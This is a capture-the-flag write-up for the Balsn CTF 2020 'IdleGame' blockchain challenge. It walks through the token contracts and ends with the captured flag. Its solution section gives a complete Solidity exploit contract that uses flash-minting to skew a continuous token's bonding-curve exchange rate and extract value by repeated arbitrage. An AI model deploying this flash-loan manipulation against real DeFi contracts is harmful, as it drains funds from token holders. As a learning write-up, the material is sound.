# Balsn CTF 2020 - IdleGame >###### tags: `blockchain` >[name=whysw@PLUS] ## Attachments - problem - [Tokens.sol](https://gist.github.com/YangSeungWon/dea7167b31630c0d8eb853ff6ba53d32#file-tokens-sol) - [IdleGame.sol](https://gist.github.com/YangSeungWon/dea7167b31630c0d8eb853ff6ba53d32#file-idlegame-sol) - writeup - [exploit.sol](https://gist.github.com/YangSeungWon/dea7167b31630c0d8eb853ff6ba53d32#file-exploit-sol) Attachments are uploaded on [gist](https://gist.github.com/YangSeungWon/dea7167b31630c0d8eb853ff6ba53d32). ## Challenge ``` ____ ____ _____ / _/__/ / /__ / ___/__ ___ _ ___ _/ // _ / / -_) (_ / _ `/ ' \/ -_) /___/\_,_/_/\__/\___/\_,_/_/_/_/\__/ All game contracts will be deployed on ** Ropsten Testnet ** Please follow the instructions below: 1. Create a game account 2. Deploy a game contract 3. Request for the flag ``` When you connect to server, you'll get an account in ropsten testnet. After you deposit some ETH to that account, you can deploy contract `Setup`(in IdleGame.sol) using menu 2. Then you should make contract `Setup`'s variable-sendFlag- to true. ## Token.sol ### SafeMath At first, it uses library `SafeMath`. This library implemented add, sub, mul, div, but additionally, it guarantees there is **NO overflow** in arithmetic operations. ### ERC20 ERC20 standard is the most generally used token standard in ethereum smart contract. Thanks to SafeMath, it doesn't have overflow bugs. ### FlashERC20 It has `flashMint` function, which lends me some money and immediately take back. In `IBorrower(msg.sender).executeOnFlashMint(amount);`, the execution flow is switched to the caller's `executeOnFlashMint` function. ### ContinuousToken I read [this article(korean)](https://cryptoturtles.substack.com/p/--e42) to get information about continuous token. To summarize, continuous token's value(relatively to another money, in this case, BalsnToken) varys depends on BancorBondingCurve. ## IdleGame.sol ### BalsnToken It is simple ERC20 token contract, but it has function `giveMeMoney`, that gives us Free 1 BalsnToken. ### IdleGame This is also basically ERC20 token, but it inherits `FlashERC20` and `ContinuousToken`. **GamePoint** is the new token, which has flashMint function. Moreover, it can be bought using Balsn Token, and sold to Balsn Token. The exchange rate between them is determined by *BondingCurve* with given *reserveRatio*. ### Setup It creates BSN token and IDL token. The reserve ratio is 999000(ppm) = 99.90%. We should call `giveMeFlag` function to set SendFlag variable true, but it is only allowed to IDL contract which this contract generated in the constructor. So if there is no serious functional flaw, we should call `IDL.giveMeFlag()` first. (which requires `(10 ** 8) * scale` IDL.(scale is 10 ** 18)) ## Solution ### giveMeMoney Nobody gives free money, but BSN token DOES! ```solidity function giveMeMoney() public { require(balanceOf(msg.sender) == 0, "BalsnToken: you're too greedy"); _mint(msg.sender, 1); } ``` So I tried... 1. get free money using `BSN.giveMeMoney()` 2. exchage 1 BSN token to IDL token, using `IDL.buyGamePoints(1)` (do not forget to increase allowance from your address to IDL contract address) 3. Repeat! But with 1 BSN token, you could receive only 36258700 IDL. ```python >>> 10**26 / 36258700 2.7579587795480806e+18 ``` umm... you could try it, but I found another way. --- ### levelUp -> getReward ```solidity function getReward() public returns (uint) { uint points = block.timestamp.sub(startTime[msg.sender]); points = points.add(level[msg.sender]).mul(points); _mint(msg.sender, points); startTime[msg.sender] = block.timestamp; return points; } function levelUp() public { _burn(msg.sender, level[msg.sender]); level[msg.sender] = level[msg.sender].add(1); } ``` When you pay same amount of IDL token with your level, then you could level up. The higher your level is, the more you get(`getReward`). It calculates `timestamp**2 + timestamp*level.` But timestamp is too small compared to the goal, `10**26`. ```python >>> time = 1605943620 >>> flag = 10 ** 26 >>> (flag - time**2)/time 6.226868501208348e+16 >>> level = (flag - time**2)/time >>> (level+1)*level/2 1.9386945665670348e+33 ``` It costs more than just calling giveMeMoney :( --- ### Continuous & FlashMintable After above trials, I thought that there would be some exploitable things that results from two characteristics of Idle Game Token, FlashMint and Continuous. I read [bZx Hack Analysis: Smart use of DeFi legos. | Mudit Gupta's Blog](https://mudit.blog/bzx-hack-analysis-defi-legos/). This article is about *how FlashLoan property of the token can be a vulnerable point*. The important point is that When the value of Flash Minted Token changes dramatically, it will cause change of balance, even after flash-loaned token is returned. This reminded me the fact that continuous token's value varys according to the total supply. --- ### Test : does the exchange rate of BSN token and IDL token change, as totalSupply changes? To test this, I flash-mint `10**30IDL`, and checked `calculateContinuousBurnReturn(1)`. #### before flash-mint ![](https://i.imgur.com/kc3syjc.png) #### during flash-mint ![](https://i.imgur.com/h3tCv8H.png) Because this is flash-mint, it returns to normal when the flash-mint value is burnt. --- ### exploit scenario ```solidity= pragma solidity =0.5.17; import "./Tokens.sol"; import "./IdleGame.sol"; contract Exploit is IBorrower { BalsnToken public BSN; IdleGame public IDL; uint public foronemint; uint public foroneburn; constructor() public { BSN = BalsnToken(0x927Be6055D91C328726995058eCa018b88B5282d); IDL = IdleGame(0x8380580A1AD5f5dC78b82e0a1461D48FCbD7afb3); incAllow(); } function getToken() public view returns (uint) { return BSN.balanceOf(address(this)); } function getGP() public view returns (uint) { return IDL.balanceOf(address(this)); } function getLevel() public view returns (uint) { return IDL.level(address(this)); } function _takeMoney() internal { BSN.giveMeMoney(); } function _levelUp() internal { IDL.levelUp(); } function incAllow() internal { BSN.increaseAllowance(address(IDL), uint(-1)); } function buyGP(uint val) internal { IDL.buyGamePoints(val); } function buyAllGP() internal { if(getToken() > 0){ buyGP(getToken()); } } function sellGP(uint val) internal { IDL.sellGamePoints(val); } function sellAllGP() internal { if(getGP() > 0){ sellGP(getGP()); } } function levelUp() internal { uint level = IDL.level(address(this)); for(uint gp = getGP(); gp<level; gp = getGP()){ _takeMoney(); buyGP(1); } _levelUp(); } function LevelUp(uint trial) public { for(uint i=0; i<trial; i++){ levelUp(); } } function executeOnFlashMint(uint amount) external { buyAllGP(); } function prepare() public { LevelUp(100); getReward(); sellAllGP(); } function attack(uint exp) public { IDL.flashMint(10**exp); sellAllGP(); } function getReward() public { IDL.getReward(); } function getFlag() public { IDL.giveMeFlag(); } } ``` 1. constructor() : make link to existing BSN and IDL token contract, and increase allowance for this contract to IDL contract. 2. prepare() : levelUp to 100, and getReward. then sell All GamePoints to Balsn Token, to prepare attack. 3. attack() : do flash-mint, and retrieve execution flow to out contract's executeOnFlashMint() function. As total supply of IDL token dramatically increased, we can get more IDL token with the same amount of BSN token. After that, the exchangeRate becomes normal because flash-mint IDL token burns. then sell all GamePoints to BSN token, to prepare another attack. 4. After you attack several times, the amount of BSN token is enough to getFlag. However, to getFlag, we need to convert it to Game point. So you need to call executeOnFlashMint() function manually, to call buyAllGP(). (or set buyAllGP function as not internal :( this is my mistake) ![](https://i.imgur.com/8rcG152.png) 5. now you have MAAAAANY Game points! Go and call getFlag()! --- ### after getFlag ```shell ____ ____ _____ / _/__/ / /__ / ___/__ ___ _ ___ _/ // _ / / -_) (_ / _ `/ ' \/ -_) /___/\_,_/_/\__/\___/\_,_/_/_/_/\__/ All game contracts will be deployed on ** Ropsten Testnet ** Please follow the instructions below: 1. Create a game account 2. Deploy a game contract 3. Request for the flag Input your choice: 3 Input your contract token: nxihL8FJF+anFIroGLpWSkHhrWh5b5TUzIvrf3fOsxSj/iC/LsXOpyKjMiXEJVyZIqxhUF+AF59ca/6P1nNGE8h10bO4wraEviVpYwt+VlOPmezf9sk9EXNsvbMAmck9EEu8PxMl4PWk48wvIjTaVJgrQOo8LAmte4FG5G8WCGMmM1zLyGdapchBTALOmC2jrfGh28ItkiIWfKtmANqsrA== Congrats! Here is your flag: BALSN{Arb1tr4ge_wi7h_Fl45hMin7} ``` ## Comments I am so pleased to see smart contract challenge again! Good to see unfamiliar token features, and the road to flag is reasonable I think :) Thank you for great challenge!